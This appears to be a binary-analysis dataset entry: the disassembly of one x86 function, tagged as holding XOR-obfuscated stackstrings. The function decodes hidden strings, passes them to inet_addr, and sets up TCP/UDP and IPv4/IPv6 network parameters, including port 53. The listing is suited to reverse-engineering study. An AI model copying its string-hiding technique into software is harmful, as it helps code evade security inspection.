Function at 0x10033d90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cdbaf
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1c0
mov eax, dword [0x100ff230]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], 0
call fcn.1001c760
mov dword [ebp - 4], 0
cmp dword [ebp - 0x100], 0
jne 0x10033e00
mov esi, 0x2843
jmp 0x10034e16
cmp dword [0x100ffe5c], 0
push 0x100ffe4c
jne 0x10033e18
lea ecx, [ebp - 0x60]
call fcn.10017130
jmp 0x10033e7d
lea ecx, [ebp - 0x30]
call fcn.10017130
xor esi, esi
cmp dword [0x100ffe5c], esi
jbe 0x10033e6b
nop word [eax + eax]
cmp dword [ebp - 0x1c], 8
lea ecx, [ebp - 0x30]
mov eax, dword [0x100ffe48]
cmovae ecx, dword [ebp - 0x30]
setae byte [ebp - 0x119]
add eax, esi
xor ax, word [ecx + esi*2]
cmp byte [ebp - 0x119], 0
movzx ecx, ax
lea eax, [ebp - 0x30]
cmovne eax, dword [ebp - 0x30]
mov word [eax + esi*2], cx
inc esi
cmp esi, dword [0x100ffe5c]
jb 0x10033e30
movups xmm0, xmmword [ebp - 0x30]
movups xmmword [ebp - 0x60], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [ebp - 0x50], xmm0
mov edi, 0x20
mov byte [ebp - 4], 1
lea eax, [ebp - 0x110]
cmp dword [ebp - 0xfc], 8
lea ecx, [ebp - 0x60]
push dword [ebp - 0x100]
cmovae eax, dword [ebp - 0x110]
push eax
call fcn.10021360
mov dword [ebp - 0xe8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe4], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
or edi, 0x40
movups xmmword [ebp - 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x4c]
cmp ecx, 8
jb 0x10033f32
mov edx, dword [ebp - 0x60]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10033f28
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e72
push ecx
push edx
call fcn.1009197a
add esp, 8
mov cl, 9
mov dword [ebp - 0x50], 0
mov dh, cl
mov dword [ebp - 0x4c], 7
mov byte [ebp - 0x119], dh
lea esi, [ebp - 0xf8]
mov dh, 1
mov dword [ebp - 0x30], 0xe091960
mov byte [ebp - 0x111], dh
mov dl, 0xe
mov dh, dl
mov dword [ebp - 0x2c], 0x1090a07
xor eax, eax
mov byte [ebp - 0x112], dh
cmp dword [ebp - 0xe4], 8
mov dh, 0x15
mov byte [ebp - 0x113], dh
mov ch, 0xa
cmovae esi, dword [ebp - 0xf8]
mov dh, 0xf
mov word [ebp - 0x60], ax
mov al, 0x19
mov ah, 7
mov dword [ebp - 0x28], 0xf150e
mov byte [ebp - 0x114], dh
mov byte [ebp - 4], 4
xor al, byte [ebp - 0x30]
xor cl, byte [ebp - 0x30]
mov dh, byte [ebp - 0x119]
mov byte [ebp - 0x24], al
mov al, byte [ebp - 0x111]
mov byte [ebp - 0x23], cl
mov cl, byte [ebp - 0x30]
xor al, cl
mov byte [ebp - 0x1a], 0
mov byte [ebp - 0x1e], al
xor ah, cl
mov al, byte [ebp - 0x112]
xor ch, cl
xor al, cl
mov byte [ebp - 0x21], ah
mov byte [ebp - 0x1d], al
xor dl, cl
mov al, byte [ebp - 0x113]
xor dh, cl
xor al, cl
mov byte [ebp - 0x20], ch
mov byte [ebp - 0x1c], al
mov al, byte [ebp - 0x114]
xor al, cl
mov byte [ebp - 0x22], dl
mov byte [ebp - 0x1b], al
mov ecx, 0x101074a8
push esi
lea eax, [ebp - 0x24]
mov byte [ebp - 0x1f], dh
push eax
call fcn.1002d760
mov byte [ebp - 4], 3
test al, al
je 0x10034c35
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
mov eax, 2
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
mov word [ebp - 0xd3], ax
mov ch, 0x4d
mov ah, 0x53
mov dword [ebp - 0x2c], 0x4a4f4c7d
mov dh, ah
mov dword [ebp - 0x28], 0x4d534d53
mov byte [ebp - 0x114], dh
mov al, 0x4c
xor al, byte [ebp - 0x2c]
mov cl, 0x4f
xor cl, byte [ebp - 0x2c]
mov dh, ch
mov byte [ebp - 0x21], al
add esp, 0xc
mov byte [ebp - 0x113], dh
mov dl, 0x4a
mov al, byte [ebp - 0x113]
mov dh, ah
mov byte [ebp - 0x20], cl
mov cl, byte [ebp - 0x2c]
xor al, cl
mov byte [ebp - 0x112], dh
mov byte [ebp - 0x1b], al
mov dh, ch
mov al, byte [ebp - 0x112]
xor ah, cl
xor al, cl
mov byte [ebp - 0x111], dh
mov dh, byte [ebp - 0x114]
xor dl, cl
mov byte [ebp - 0x1a], al
xor ch, cl
mov al, byte [ebp - 0x111]
xor dh, cl
xor al, cl
mov byte [ebp - 0x1e], ah
mov byte [ebp - 0x19], al
lea eax, [ebp - 0x21]
push eax
mov word [ebp - 0x24], 0x4d53
mov byte [ebp - 0x22], 0
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x18], 0
call esi
mov dword [ebp - 0xb1], eax
mov ch, 0x7a
mov ah, 0x64
mov dword [ebp - 0x2c], 0x7f7f784a
mov dh, ah
mov dword [ebp - 0x28], 0x7a647a64
mov cl, 0x7f
mov byte [ebp - 0x114], dh
mov dl, cl
mov word [ebp - 0x24], 0x7a64
xor cl, byte [ebp - 0x2c]
mov dh, ch
mov byte [ebp - 0x113], dh
mov al, 0x78
xor al, byte [ebp - 0x2c]
mov dh, ah
mov byte [ebp - 0x20], cl
mov cl, byte [ebp - 0x2c]
mov byte [ebp - 0x112], dh
xor dl, cl
mov dh, ch
mov byte [ebp - 0x22], 0
xor ah, cl
mov byte [ebp - 0x111], dh
mov byte [ebp - 0x21], al
xor ch, cl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], ah
mov al, byte [ebp - 0x113]
mov dh, byte [ebp - 0x114]
xor al, cl
mov byte [ebp - 0x1b], al
xor dh, cl
mov al, byte [ebp - 0x112]
xor al, cl
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1a], al
mov al, byte [ebp - 0x111]
xor al, cl
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x19], al
lea eax, [ebp - 0x21]
push eax
mov byte [ebp - 0x18], 0
call esi
mov dword [ebp - 0xa1], eax
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.100875a0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x100342a6
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eab60]
mov esi, eax
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0x9000d59
mov word [ebp - 0x30], 0x431c
mov byte [ebp - 0x2e], 0
mov byte [ebp - 4], 6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x43]
xor al, byte [ebp - 0x44]
mov byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 0x15
jb 0x10034200
lea edx, [ebp - 0x2d]
mov byte [ebp - 0x18], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 5
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x10034252
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10034297
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003428d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e77
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
call fcn.1002dc60
cmp byte [eax + 0x29c], 0
je 0x100342f6
push 0x100ffce8
call fcn.100885f0
add esp, 4
lea eax, [ebp - 0xe0]
push 0x53
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0x91], 0x80
lea eax, [ebp - 0xe0]
mov byte [ebp - 0xd8], 2
push 0
push eax
call fcn.100875a0
add esp, 8
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 6
mov eax, 2
mov byte [ebp - 0xd8], 2
mov word [ebp - 0xd3], ax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x91], 0x10
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x1003444b
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eb060]
mov esi, eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x27786d64
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 9
xor ecx, ecx
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x13
jb 0x100343a5
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x18], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 8
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0xa
cmp dword [eax + 0x14], 0x10
jb 0x100343f7
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x1003443c
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10034432
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e7c
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 6
mov eax, 0x17
mov byte [ebp - 0xd8], 2
mov word [ebp - 0xd3], ax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x91], 0x10
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x100345a6
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eb0c0]
mov esi, eax
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0x31242d20
mov word [ebp - 0x30], 0x6e
mov byte [ebp - 4], 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x43]
xor al, byte [ebp - 0x44]
mov byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 0x14
jb 0x10034500
lea edx, [ebp - 0x2e]
mov byte [ebp - 0x1a], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0xb
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0xd
cmp dword [eax + 0x14], 0x10
jb 0x10034552
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10034597
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003458d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e81
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
call fcn.1002dc60
push 0x53
push 0
cmp dword [eax + 0x3e4], 2
lea eax, [ebp - 0xe0]
push eax
jne 0x10034856
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 0x11
mov eax, 2
mov byte [ebp - 0xd8], 3
mov word [ebp - 0xd3], ax
mov dword [ebp - 0x91], eax
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x10034709
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eadb0]
mov esi, eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x7c23363f
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x13
jb 0x10034663
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x18], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0xe
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x10
cmp dword [eax + 0x14], 0x10
jb 0x100346b5
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x100346fa
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100346f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e86
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 0x11
mov eax, 0x17
mov byte [ebp - 0xd8], 3
mov word [ebp - 0xd3], ax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x91], 2
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x10034c2e
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eafb0]
mov esi, eax
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0x1d08010c
mov word [ebp - 0x5c], 0x42
mov byte [ebp - 4], 0x12
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x6f]
xor al, byte [ebp - 0x70]
mov byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 0x14
jb 0x100347c0
lea edx, [ebp - 0x5a]
mov byte [ebp - 0x46], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x11
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x60]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x13
cmp dword [eax + 0x14], 0x10
jb 0x10034812
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x10034c23
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10034c19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e8b
jmp 0x10034c19
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 0x11
mov eax, 2
mov byte [ebp - 0xd8], 2
mov word [ebp - 0xd3], ax
mov dword [ebp - 0x91], eax
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x100349a6
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eacb0]
mov esi, eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x6e31242d
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x15
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x13
jb 0x10034900
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x18], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x14
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 0x10
jb 0x10034952
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10034997
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003498d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e90
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 0x11
mov eax, 2
mov byte [ebp - 0xd8], 1
mov word [ebp - 0xd3], ax
push 0x35
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xd5], ax
lea eax, [ebp - 0xe0]
push 0
push eax
mov dword [ebp - 0x91], 2
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x10034b0a
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eaf40]
mov esi, eax
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x15e4b42
mov byte [ebp - 0x2c], 0
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov al, byte [ebp + ecx - 0x3f]
xor al, byte [ebp - 0x40]
mov byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x13
jb 0x10034a64
lea edx, [ebp - 0x2b]
mov byte [ebp - 0x18], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x17
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x30]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x19
cmp dword [eax + 0x14], 0x10
jb 0x10034ab6
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10034afb
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10034af1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e95
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 3
call fcn.10004400
push 0x53
lea eax, [ebp - 0xe0]
push 0
push eax
call fcn.10093d00
add esp, 0xc
mov dword [ebp - 0xe0], 0x11
mov eax, 0x17
mov byte [ebp - 0xd8], 2
mov word [ebp - 0xd3], ax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x91], 2
push 0
push eax
call fcn.100875a0
add esp, 8
mov dword [ebp - 0x118], eax
test eax, eax
je 0x10034c2e
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call edi
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eaf00]
mov esi, eax
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0xf1a131e
mov word [ebp - 0x5c], 0x50
mov byte [ebp - 4], 0x1b
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x6f]
xor al, byte [ebp - 0x70]
mov byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 0x14
jb 0x10034bc0
lea edx, [ebp - 0x5a]
mov byte [ebp - 0x46], 0
mov ecx, esi
call fcn.10006770
push dword [ebp - 0x118]
mov ecx, eax
call fcn.10004920
mov byte [ebp - 4], 0x1a
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x60]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x1c
cmp dword [eax + 0x14], 0x10
jb 0x10034812
jmp 0x10034810
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
call fcn.10004400
xor esi, esi
jmp 0x10034db9
push ecx
lea ecx, [ebp - 0x1d0]
call fcn.100045c0
mov edx, str._TID:
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1c0]
call fcn.10006770
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
mov ecx, esi
call fcn.1001e810
mov edx, 0x100e746c
mov ecx, eax
call fcn.10006770
movaps xmm0, xmmword [0x100eabe0]
mov esi, eax
movups xmmword [ebp - 0x6c], xmm0
mov word [ebp - 0x5c], 0x4610
mov byte [ebp - 0x5a], 0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x6b]
xor al, byte [ebp - 0x6c]
mov byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 0x11
jb 0x10034c90
lea edx, [ebp - 0x59]
mov byte [ebp - 0x48], 0
mov ecx, esi
call fcn.10006770
mov esi, eax
call fcn.10088c80
cmp eax, 2
jne 0x10034ced
mov ah, 0x39
mov dword [ebp - 0x7c], 0x495f4e39
mov al, 0x4e
mov byte [ebp - 0x78], 0
mov cl, 0x5f
mov dl, 0x49
mov byte [ebp - 4], 0x1f
xor al, ah
xor cl, ah
mov byte [ebp - 0x77], al
or edi, 1
mov byte [ebp - 0x76], cl
xor dl, ah
mov byte [ebp - 0x74], 0
mov byte [ebp - 0x75], dl
lea edx, [ebp - 0x77]
jmp 0x10034d32
mov ah, 0x59
mov dword [ebp - 0x88], 0x303d2d59
mov al, 0x2d
mov byte [ebp - 0x84], 0
mov cl, 0x3d
mov dl, 0x30
mov dword [ebp - 4], 0x20
xor al, ah
xor cl, ah
mov byte [ebp - 0x83], al
or edi, 2
mov byte [ebp - 0x82], cl
xor dl, ah
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x81], dl
lea edx, [ebp - 0x83]
mov ecx, esi
mov dword [ebp - 0x118], edi
call fcn.10006770
mov dword [ebp - 4], 0x1d
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1d0]
lea eax, [ebp - 0x60]
push eax
call fcn.100044d0
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 0x10
jb 0x10034d68
mov eax, dword [eax]
sub esp, 8
mov ecx, esi
push eax
push 4
call fcn.10003ef0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x10034da9
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10034d9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e8b
push ecx
push edx
call fcn.1009197a
add esp, 8
lea ecx, [ebp - 0x1d0]
call fcn.10004400
mov esi, 0x2842
mov ecx, dword [ebp - 0xe4]
cmp ecx, 8
jb 0x10034df9
mov edx, dword [ebp - 0xf8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10034def
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e8b
push ecx
push edx
call fcn.1009197a
add esp, 8
xor eax, eax
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 7
mov word [ebp - 0xf8], ax
mov ecx, dword [ebp - 0xfc]
cmp ecx, 8
jb 0x10034e52
mov edx, dword [ebp - 0x110]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10034e48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10034e8b
push ecx
push edx
call fcn.1009197a
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10091622
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
call fcn.1009d81f
int3